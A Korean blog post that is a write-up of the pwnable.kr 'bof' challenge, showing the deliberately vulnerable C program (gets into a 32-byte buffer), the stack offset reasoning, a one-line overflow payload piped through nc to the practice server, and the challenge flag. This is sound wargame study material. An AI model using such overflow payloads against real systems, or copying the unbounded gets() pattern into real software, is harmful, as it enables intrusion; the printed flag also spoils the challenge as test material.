eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • pwnable
  • 풀이
  • overflow
  • LEVEL
  • 공격
  • web
  • 설명
  • 메모리
  • buffer
  • 패스워드
  • password
  • 문제
  • Up
  • hacking
  • LOB
  • 스쿨
  • write
  • 해커
  • BOF
  • 오버플로우
  • hacker
  • hack
  • 과정
  • 해킹
  • attack
  • 암호
  • 문제풀이
  • school
  • hakcing
  • webhacking.kr

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

[pwnable.kr][Toddler] bof 문제풀이
0x02 Study :)/Pwnable

[pwnable.kr][Toddler] bof 문제풀이

2018. 8. 13. 11:56

bof

keyword : Stack Canary

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

main에서 key값으로 0 xdeadbeef값을 인자로 전달한다.

32byte크기의 overflow(me배열이 선언되었데, gets함수로 인해 입력 크기를 제한하지 않고 입력 받게 된다.

key값을 0xcafebabe로 조작하면 쉘이 떨어지게 된다.

 


func함수에서 입력받는 overflowme배열의 시작주소는 ebp-0x2c이고 "0xcafebabe"가 들어있는 주소는 ebp+0x8이다.

따라서 BoF를 시켜 ebp+0x8주소에 "0xcafebabe"를 넣으면 실행이 실행된다.

 

payload : (python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000




✌️FLAG : daddy, I just pwned a buFFer :)







잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :)

태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 




저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Pwnable' 카테고리의 다른 글
    • [pwnable.kr][Toddler] passcode 문제풀이
    • [pwnable.kr][Toddler] flag 문제풀이
    • [pwnable.kr][Toddler] col 문제풀이
    • [pwnable.kr][Toddler] fd 문제풀이
    eli_ez3r
    eli_ez3r

    티스토리툴바